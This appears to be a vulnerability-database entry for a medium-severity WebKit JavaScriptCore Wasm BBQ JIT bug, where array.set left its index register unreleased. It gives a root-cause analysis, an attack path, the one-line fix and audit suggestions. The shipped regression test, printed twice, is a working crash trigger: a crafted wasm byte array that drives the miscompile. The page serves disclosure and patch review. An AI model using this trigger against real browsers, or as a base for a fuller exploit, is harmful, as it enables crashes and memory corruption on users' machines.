Medium CVSS 4.3 webkit Type Confusion 🔧 Commit mapped

Overview

Medium
Severity
4.3
CVSS
No
Exploited ITW
Fixed
Fix Status
DescriptionProcessing maliciously crafted web content may lead to an unexpected process crash
ComponentJSC
Sub-componentJSC Wasm
Bug ClassType Confusion
Tracker300774
Fix commit26d50a4d4b2d (WebKit/WebKit) +14/-0
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
CISA KEVNot listed
CreditedGoogle Big Sleep, Nan Wang (@eternalsakura13)
Disclosed2025-12-12

Background

BBQ JIT register model
Tracks which registers hold live operand values; every used operand must be consume()d to free its register.
array.set
Wasm GC instruction storing a value at an index in a typed array; takes array, index, and value operands.
consume()
Releases a value’s register binding after use; omitting it leaves the register wrongly marked occupied.
Register pressure
When many values compete for few registers, a leaked binding leads to incorrect reuse/spills.

Root Cause Analysis

In JavaScriptCore’s Wasm BBQ JIT (64-bit), BBQJIT::addArraySet compiles the array.set instruction, which takes an array reference, an index, and a value. The BBQ register allocator requires every operand value’s register to be released with consume() once it has been used, so the allocator’s model of free/occupied registers stays accurate.

Pre-patch, addArraySet failed to consume() the index value after using it, so the index’s register remained marked as bound to that value even though array.set had finished with it. Subsequent codegen could then reuse or spill that register under the wrong assumption, corrupting the register-allocation state — a JIT miscompilation.

The fix adds the missing consume(index) so the index operand’s register is released like the array and value operands, keeping the allocator consistent. The crafted wasm module in the test drives array.set with register pressure that exposes the leaked binding.

The restored invariant is that all operands of array.set are consumed, so the BBQ allocator’s register model matches the emitted code.

Key insight
BBQ-JIT addArraySet used the index operand but never consume()d its register, leaking a binding and corrupting the allocator’s register model; adding consume(index) fixes the miscompile.

Attack Path

  1. Craft a wasm module using array.set Build a module (GC arrays) whose function performs array.set under register pressure so the index operand’s register matters.
  2. Compile via BBQ JIT Instantiation compiles addArraySet, which uses the index but does not consume its register binding.
  3. Corrupt allocator state The index’s register stays wrongly bound, so later codegen reuses/spills it inconsistently.
  4. Miscompile / crash The mismatched register state produces incorrect code, crashing or corrupting memory in the WebContent process.

Impact Assessment

A BBQ-JIT register-accounting bug (advisory class LogicError): a missing consume() on the array.set index leaks a register binding and miscompiles code, reachable from crafted wasm in the WebContent process. JIT miscompiles are a corruption-class primitive; building a controlled outcome needs register shaping, and the observable is a crash. Confined to WebContent; rated medium.

Files Changed

  • JSTests/wasm/stress/bbq-array-set-consume.js
  • Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp

Audit Directions

  • Missing consume() on operands
    Audit all BBQ addX handlers (array/struct/table/memory ops) to confirm every operand fetched is consume()d exactly once.
  • array/struct GC ops
    Review other GC instruction handlers (arrayGet/arrayNew/structSet) for the same operand-consume completeness.
  • 32-bit vs 64-bit parity
    Check WasmBBQJIT.cpp/WasmBBQJIT32 for the same array.set consume symmetry as WasmBBQJIT64.
diff --git a/Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp b/Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp
index 97fd2af1d36d..50ae0204cf0c 100644
--- a/Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp
+++ b/Source/JavaScriptCore/wasm/WasmBBQJIT64.cpp
@@ -1837,6 +1837,7 @@ WARN_UNUSED_RETURN PartialResult BBQJIT::addArraySet(uint32_t typeIndex, TypedEx
         ASSERT(arrayref.asI64() == JSValue::encode(jsNull()));
 
         LOG_INSTRUCTION("ArraySet", typeIndex, arrayref, index, value);
+        consume(index);
         consume(value);
         emitThrowException(ExceptionType::NullAccess);
         return { };
diff --git a/JSTests/wasm/stress/bbq-array-set-consume.js b/JSTests/wasm/stress/bbq-array-set-consume.js
new file mode 100644
index 000000000000..28c082dca919
--- /dev/null
+++ b/JSTests/wasm/stress/bbq-array-set-consume.js
@@ -0,0 +1,13 @@
+  function sakura_main() {
+    var wasm_code = new Uint8Array([
+  0,97,115,109,1,0,0,0,1,183,128,128,128,0,10,78,1,94,120,1,78,1,94,119,1,78,1,80,0,95,0,78,1,96,3,127,127,127,1,127,96,0,0,96,0,1,127,96,1,127,1,127,96,0,1,125,96,0,1,124,96,5,108,127,127,127,127,1,124,3,130,128,128,128,0,1,3,4,133,128,128,128,0,1,112,1,1,1,5,131,128,128,128,0,1,0,123,13,131,128,128,128,0,1,0,4,6,253,134,128,128,0,39,127,1,65,223,155,138,142,125,65,143,193,209,238,2,65,142,221,236,208,126,108,107,11,100,2,1,251,0,2,11,100,109,0,65,148,129,129,222,2,251,28,11,127,1,65,160,220,185,195,0,65,157,149,131,223,120,107,65,131,226,177,36,65,168,185,207,158,4,65,163,211,217,165,6,65,231,220,176,191,127,106,107,65,207,247,142,202,4,65,244,129,173,200,1,107,65,129,134,211,145,3,65,177,216,161,189,7,107,108,106,108,108,11,100,110,1,65,163,229,198,186,127,65,219,182,158,140,7,65,200,236,218,246,1,65,154,187,143,229,121,106,65,173,243,249,167,3,65,219,157,223,3,65,159,191,179,185,125,65,165,149,210,130,4,106,108,65,227,236,163,194,124,108,65,247,223,242,157,122,107,65,241,224,201,165,2,65,161,254,234,231,7,65,221,215,211,255,121,65,140,188,128,196,4,107,65,154,197,237,251,2,65,151,153,169,187,122,65,141,212,212,227,126,108,65,175,176,250,169,127,108,106,65,197,141,244,188,5,65,198,192,252,213,4,106,65,131,233,179,191,122,107,65,159,166,204,206,4,108,108,65,175,225,164,232,121,65,237,161,155,138,127,65,148,244,241,4,65,155,188,128,185,7,106,107,65,232,135,186,138,122,65,184,203,175,153,127,107,65,204,223,173,254,1,65,200,193,250,159,4,65,215,214,218,142,121,65,222,203,131,246,1,107,65,153,153,177,233,120,65,130,181,193,212,123,108,108,107,65,155,152,231,215,6,65,186,135,251,133,125,107,107,65,171,218,139,154,121,65,195,165,251,166,4,65,216,152,175,229,121,106,65,174,202,198,194,122,65,172,169,175,183,121,65,194,155,237,202,0,65,131,220,225,242,2,107,65,168,164,225,140,126,65,226,252,175,216,120,108,108,107,65,154,248,189,180,127,107,65,209,254,176,170,7,65,134,177,231,194,124,106,108,108,65,139,243,178,150,1,108,65,151,171,242,167,3,65,197,225,200,212,1,65,198,166,172,159,120,65,140,189,228,132,4,65,164,138,252,132,3,65,204,218,128,245,122,108,65,208,222,165,216,122,65,146,192,157,140,125,65,217,194,152,212,6,108,65,184,133,225,152,126,107,65,234,239,146,242,4,106,107,65,225,148,144,133,3,107,107,65,149,235,189,151,5,107,108,65,178,178,204,214,120,108,65,172,226,205,198,4,107,65,240,154,179,225,6,107,107,65,160,160,166,139,2,107,65,133,164,208,71,106,65,194,230,143,238,126,108,65,223,200,226,165,120,65,210,216,129,249,7,107,106,107,106,65,210,194,205,149,6,107,65,177,129,211,71,65,170,132,137,153,3,65,139,140,195,254,124,107,107,108,107,65,196,170,201,200,122,108,107,108,108,65,0,106,65,0,107,65,0,108,65,0,108,106,65,0,108,65,0,108,65,0,107,108,106,108,108,65,0,107,107,65,0,108,108,65,0,107,65,0,107,108,65,0,108,65,0,107,65,0,107,108,65,0,107,65,0,106,65,0,106,106,65,0,107,65,0,107,107,108,106,65,0,106,65,0,106,65,0,107,65,0,108,65,0,65,0,65,0,65,0,65,0,65,0,251,8,0,7,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,7,136,128,128,128,0,1,4,109,97,105,110,0,0,9,139,128,128,128,0,1,6,0,65,0,11,112,1,210,0,11,10,233,131,128,128,0,1,230,3,7,1,127,1,100,111,1,125,2,127,1,114,1,127,1,100,107,208,111,212,33,4,2,127,2,105,2,105,2,105,2,105,2,105,31,5,5,1,0,4,3,3,1,0,2,3,1,1,0,0,65,243,57,63,0,79,65,175,152,174,204,7,66,228,196,170,233,213,187,202,140,213,0,62,0,0,67,127,25,165,73,65,180,204,148,31,26,252,5,65,0,253,15,65,0,253,15,253,209,1,253,22,12,40,0,156,38,65,255,141,49,65,227,132,32,16,0,1,36,0,254,57,2,210,147,2,67,202,31,95,107,145,143,67,197,207,144,69,91,65,169,7,65,228,187,25,72,65,146,226,225,132,5,208,112,251,23,3,20,3,172,81,2,6,1,11,11,12,5,11,26,65,17,12,4,11,26,65,231,254,207,0,12,3,11,26,65,31,12,2,11,26,65,179,241,164,242,0,12,1,11,26,65,244,216,21,12,0,11,2,125,31,7,0,2,124,2,105,2,64,2,105,2,105,2,64,31,8,5,3,4,2,3,1,0,2,3,1,0,0,0,2,124,68,102,47,219,170,228,129,161,74,11,11,12,5,11,68,155,170,229,144,164,245,180,78,12,4,11,26,68,50,10,67,205,35,36,157,244,12,3,11,26,68,249,13,67,48,14,244,80,138,12,2,11,208,108,65,167,222,232,0,65,181,196,221,156,1,65,211,233,229,0,65,191,131,3,2,9,33,3,33,3,33,3,33,3,26,68,225,165,33,2,164,202,66,219,11,12,1,11,26,68,90,79,126,46,106,22,193,112,12,0,11,182,11,12,0,11,169,4,126,66,184,246,191,163,230,139,128,177,123,5,66,217,151,211,160,129,186,180,162,82,11,208,1,65,193,6,65,224,216,45,254,39,0,196,220,2,65,192,199,237,73,251,14,1,66,217,233,182,250,128,195,239,183,206,0,66,75,136,137,65,161,176,14,65,155,248,186,6,65,0,254,46,0,0,79,254,21,1,163,222,2,89,115,251,28,251,23,106,212,251,23,110,251,23,2,212,251,23,110,251,23,107,212,251,23,106,251,23,0,212,251,23,1,251,22,107,33,10,65,177,198,6,11
+  ]);
+    var wasm_module = new WebAssembly.Module(wasm_code);
+    var wasm_instance = new WebAssembly.Instance(wasm_module);
+    var f = wasm_instance.exports.main;
+    f();
+  }
+
+try {
+    sakura_main();
+} catch { }
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/JSTests/wasm/stress/bbq-array-set-consume.js b/JSTests/wasm/stress/bbq-array-set-consume.js
new file mode 100644
index 000000000000..28c082dca919
--- /dev/null
+++ b/JSTests/wasm/stress/bbq-array-set-consume.js
@@ -0,0 +1,13 @@
+  function sakura_main() {
+    var wasm_code = new Uint8Array([
+  0,97,115,109,1,0,0,0,1,183,128,128,128,0,10,78,1,94,120,1,78,1,94,119,1,78,1,80,0,95,0,78,1,96,3,127,127,127,1,127,96,0,0,96,0,1,127,96,1,127,1,127,96,0,1,125,96,0,1,124,96,5,108,127,127,127,127,1,124,3,130,128,128,128,0,1,3,4,133,128,128,128,0,1,112,1,1,1,5,131,128,128,128,0,1,0,123,13,131,128,128,128,0,1,0,4,6,253,134,128,128,0,39,127,1,65,223,155,138,142,125,65,143,193,209,238,2,65,142,221,236,208,126,108,107,11,100,2,1,251,0,2,11,100,109,0,65,148,129,129,222,2,251,28,11,127,1,65,160,220,185,195,0,65,157,149,131,223,120,107,65,131,226,177,36,65,168,185,207,158,4,65,163,211,217,165,6,65,231,220,176,191,127,106,107,65,207,247,142,202,4,65,244,129,173,200,1,107,65,129,134,211,145,3,65,177,216,161,189,7,107,108,106,108,108,11,100,110,1,65,163,229,198,186,127,65,219,182,158,140,7,65,200,236,218,246,1,65,154,187,143,229,121,106,65,173,243,249,167,3,65,219,157,223,3,65,159,191,179,185,125,65,165,149,210,130,4,106,108,65,227,236,163,194,124,108,65,247,223,242,157,122,107,65,241,224,201,165,2,65,161,254,234,231,7,65,221,215,211,255,121,65,140,188,128,196,4,107,65,154,197,237,251,2,65,151,153,169,187,122,65,141,212,212,227,126,108,65,175,176,250,169,127,108,106,65,197,141,244,188,5,65,198,192,252,213,4,106,65,131,233,179,191,122,107,65,159,166,204,206,4,108,108,65,175,225,164,232,121,65,237,161,155,138,127,65,148,244,241,4,65,155,188,128,185,7,106,107,65,232,135,186,138,122,65,184,203,175,153,127,107,65,204,223,173,254,1,65,200,193,250,159,4,65,215,214,218,142,121,65,222,203,131,246,1,107,65,153,153,177,233,120,65,130,181,193,212,123,108,108,107,65,155,152,231,215,6,65,186,135,251,133,125,107,107,65,171,218,139,154,121,65,195,165,251,166,4,65,216,152,175,229,121,106,65,174,202,198,194,122,65,172,169,175,183,121,65,194,155,237,202,0,65,131,220,225,242,2,107,65,168,164,225,140,126,65,226,252,175,216,120,108,108,107,65,154,248,189,180,127,107,65,209,254,176,170,7,65,134,177,231,194,124,106,108,108,65,139,243,178,150,1,108,65,151,171,242,167,3,65,197,225,200,212,1,65,198,166,172,159,120,65,140,189,228,132,4,65,164,138,252,132,3,65,204,218,128,245,122,108,65,208,222,165,216,122,65,146,192,157,140,125,65,217,194,152,212,6,108,65,184,133,225,152,126,107,65,234,239,146,242,4,106,107,65,225,148,144,133,3,107,107,65,149,235,189,151,5,107,108,65,178,178,204,214,120,108,65,172,226,205,198,4,107,65,240,154,179,225,6,107,107,65,160,160,166,139,2,107,65,133,164,208,71,106,65,194,230,143,238,126,108,65,223,200,226,165,120,65,210,216,129,249,7,107,106,107,106,65,210,194,205,149,6,107,65,177,129,211,71,65,170,132,137,153,3,65,139,140,195,254,124,107,107,108,107,65,196,170,201,200,122,108,107,108,108,65,0,106,65,0,107,65,0,108,65,0,108,106,65,0,108,65,0,108,65,0,107,108,106,108,108,65,0,107,107,65,0,108,108,65,0,107,65,0,107,108,65,0,108,65,0,107,65,0,107,108,65,0,107,65,0,106,65,0,106,106,65,0,107,65,0,107,107,108,106,65,0,106,65,0,106,65,0,107,65,0,108,65,0,65,0,65,0,65,0,65,0,65,0,251,8,0,7,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,127,0,65,0,11,7,136,128,128,128,0,1,4,109,97,105,110,0,0,9,139,128,128,128,0,1,6,0,65,0,11,112,1,210,0,11,10,233,131,128,128,0,1,230,3,7,1,127,1,100,111,1,125,2,127,1,114,1,127,1,100,107,208,111,212,33,4,2,127,2,105,2,105,2,105,2,105,2,105,31,5,5,1,0,4,3,3,1,0,2,3,1,1,0,0,65,243,57,63,0,79,65,175,152,174,204,7,66,228,196,170,233,213,187,202,140,213,0,62,0,0,67,127,25,165,73,65,180,204,148,31,26,252,5,65,0,253,15,65,0,253,15,253,209,1,253,22,12,40,0,156,38,65,255,141,49,65,227,132,32,16,0,1,36,0,254,57,2,210,147,2,67,202,31,95,107,145,143,67,197,207,144,69,91,65,169,7,65,228,187,25,72,65,146,226,225,132,5,208,112,251,23,3,20,3,172,81,2,6,1,11,11,12,5,11,26,65,17,12,4,11,26,65,231,254,207,0,12,3,11,26,65,31,12,2,11,26,65,179,241,164,242,0,12,1,11,26,65,244,216,21,12,0,11,2,125,31,7,0,2,124,2,105,2,64,2,105,2,105,2,64,31,8,5,3,4,2,3,1,0,2,3,1,0,0,0,2,124,68,102,47,219,170,228,129,161,74,11,11,12,5,11,68,155,170,229,144,164,245,180,78,12,4,11,26,68,50,10,67,205,35,36,157,244,12,3,11,26,68,249,13,67,48,14,244,80,138,12,2,11,208,108,65,167,222,232,0,65,181,196,221,156,1,65,211,233,229,0,65,191,131,3,2,9,33,3,33,3,33,3,33,3,26,68,225,165,33,2,164,202,66,219,11,12,1,11,26,68,90,79,126,46,106,22,193,112,12,0,11,182,11,12,0,11,169,4,126,66,184,246,191,163,230,139,128,177,123,5,66,217,151,211,160,129,186,180,162,82,11,208,1,65,193,6,65,224,216,45,254,39,0,196,220,2,65,192,199,237,73,251,14,1,66,217,233,182,250,128,195,239,183,206,0,66,75,136,137,65,161,176,14,65,155,248,186,6,65,0,254,46,0,0,79,254,21,1,163,222,2,89,115,251,28,251,23,106,212,251,23,110,251,23,2,212,251,23,110,251,23,107,212,251,23,106,251,23,0,212,251,23,1,251,22,107,33,10,65,177,198,6,11
+  ]);
+    var wasm_module = new WebAssembly.Module(wasm_code);
+    var wasm_instance = new WebAssembly.Instance(wasm_module);
+    var f = wasm_instance.exports.main;
+    f();
+  }
+
+try {
+    sakura_main();
+} catch { }
Loading diff…

Original Bug Report

The reporter's bug is still restricted on the tracker.